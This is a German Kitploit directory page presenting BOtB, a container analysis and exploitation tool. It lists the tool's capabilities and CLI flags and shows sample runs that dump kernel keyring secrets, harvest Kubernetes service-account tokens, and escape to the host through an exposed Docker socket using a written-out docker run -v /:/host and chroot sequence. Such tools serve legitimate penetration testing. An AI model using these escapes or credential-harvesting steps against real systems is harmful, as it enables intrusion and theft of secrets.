Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
botb — Ein Container-Analyse- und Exploitation-Tool für Pentester und Ingenieure. | Kitploit
Tools/GitHubGitHub/brompwnie/botb
Container-SicherheitSchwachstellenanalyseExploitationPost-ExploitationPenetrationstestsCloud-SicherheitContainer-Ausbruch
GitHubbrompwnie/botb

botb

Ein Container-Analyse- und Exploitation-Tool für Pentester und Ingenieure.

Repository anzeigen
6845625vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Github All Releases

Ausbruch aus der Box (BOtB)

BOtB ist ein Tool zur Container-Analyse und -Ausnutzung, das für Pentester und Ingenieure entwickelt wurde und gleichzeitig CI/CD-freundlich mit gängigen CI/CD-Technologien ist.

Was macht es?

BOtB ist ein CLI-Tool, mit dem Sie:

  • Häufige Container-Sicherheitslücken ausnutzen
  • Typische Post-Exploitation-Aktionen in Containern durchführen
  • Fähigkeiten bereitstellen, wenn bestimmte Tools oder Binärdateien im Container nicht verfügbar sind
  • BOtBs Fähigkeiten mit CI/CD-Technologien nutzen, um Container-Bereitstellungen zu testen
  • Die oben genannten Aktionen entweder manuell oder automatisiert durchführen

Aktuelle Fähigkeiten

  • Container-Ausbruch über exponierte Docker-Daemons (docker.sock)
  • Container-Ausbruch über CVE-2019-5736
  • Privilegierter Container-Ausbruch über aktivierte CAPS und SYSCALLS
  • Extrahieren von Daten aus Linux-Kernel-Keyrings durch Missbrauch des Keyctl-Syscalls über permissive Seccomp-Profile
  • Kubernetes-Service-Account-Secrets identifizieren und versuchen zu nutzen
  • Metadaten-Service-Endpunkte identifizieren, z.B. http://169.254.169.254, http://metadata.google.internal/ und http://100.100.100.200/
  • Metadaten von GCP-Metadaten-Endpunkten auslesen
  • Sensible Zeichenketten in ENV und Prozessen des ProcFS analysieren und identifizieren, z.B. /Proc/{pid}/Environ
  • UNIX-Domain-Sockets finden und identifizieren
  • UNIX-Domain-Sockets finden, die HTTP unterstützen
  • Docker-Daemon auf UNIX-Domain-Sockets oder auf einer Schnittstelle finden und identifizieren
  • Host-Binärdateien mit einer benutzerdefinierten Payload kapern
  • Aktionen im CI/CD-Modus durchführen und nur Exit-Codes > 0 zurückgeben
  • Daten an einen S3-Bucket pushen
  • BOtB zwingen, immer einen Exit-Code von 0 zurückzugeben (nützlich für nicht-blockierende CI/CD)
  • Die oben genannten Aktionen über CLI-Argumente oder aus einer YAML-Konfigurationsdatei durchführen
  • Reverse-DNS-Lookup durchführen

Installation

Binärdateien

Für Installationsanweisungen über Binärdateien besuchen Sie bitte die Releases-Seite.

Über Go

go get github.com/brompwnie/botb

Aus dem Quellcode erstellen

BOtB über Go erstellen:

go build

BOtB über Make erstellen:

make

Verwendung

BOtB kann in eine Binärdatei für die Zielplattform kompiliert werden und unterstützt die folgende Verwendung

./botb-linux-amd64 -h
-aggr string
        Attempt to exploit RuncPWN (default "nil")
  -always-succeed
        Always set BOtB's Exit code to Zero
  -autopwn
        Attempt to autopwn exposed sockets
  -cicd
        Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
  -config string
        Load config from provided yaml file (default "nil")
  -endpoints string
        Provide a textfile with endpoints to use for test (default "nil")
  -find-docker
        Attempt to find Dockerd
  -find-http
        Hunt for Available UNIX Domain Sockets with HTTP
  -find-sockets
        Hunt for Available UNIX Domain Sockets
  -hijack string
        Attempt to hijack binaries on host (default "nil")
  -k8secrets
        Identify and Verify K8's Secrets
  -keyMax int
         Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000)
  -keyMin int
         Minimum key id range (default 1) (default 1)
  -metadata
        Attempt to find metadata services
  -path string
        Path to Start Scanning for UNIX Domain Sockets (default "/")
  -pwn-privileged string
        Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
  -pwnKeyctl
        Abuse keyctl syscalls and extract data from Linux Kernel keyrings
  -recon
        Perform Recon of the Container ENV
  -region string
        Provide a AWS Region e.g eu-west-2 (default "nil")
  -rev-dns string
        Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
  -s3bucket string
        Provide a bucket name for S3 Push (default "nil")
  -s3push string
        Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
  -scrape-gcp
        Attempt to scrape the GCP metadata service
  -verbose
        Verbose output
  -wordlist string
        Provide a wordlist (default "nil")

BOtB kann auch angewiesen werden, Einstellungen aus einer YAML-Datei über den Parameter config zu laden

#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...

Die folgenden Verwendungsbeispiele geben standardmäßig einen Exit-Code > 0 zurück, wenn eine Anomalie erkannt wird. Dies wird durch "echo $?" dargestellt, das den Exit-Code des zuletzt ausgeführten Befehls anzeigt.

Linux-Kernel-Keyring-Secrets identifizieren und extrahieren, die nicht ordnungsgemäß geschützt wurden

Weitere Informationen vom ursprünglichen Autor finden Sie hier https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
 "KeyId": 13738777,
 "Valid": true,
 "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\ufffd\ufffd\ufffd\u000e",
 "Byte_Content": "wP73Dg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 251133632,
   "Valid": true,
   "Name": "brompwnie_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisialsoreallyliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
   "Comments": null,
   "Subkeys": null,
   "Output": ""
  }
 ],
 "Output": ""
}
[+] Finished

Gemountete Kubernetes-Service-Account-Secrets identifizieren und verifizieren

#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished

Ausbruch aus dem Container über einen exponierten Docker-Daemon

Dieser Ansatz führt zu einer interaktiven TTY auf dem Host.

#./bob_linux_amd64 -autopwn=true    
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ # 
Tool herunterladen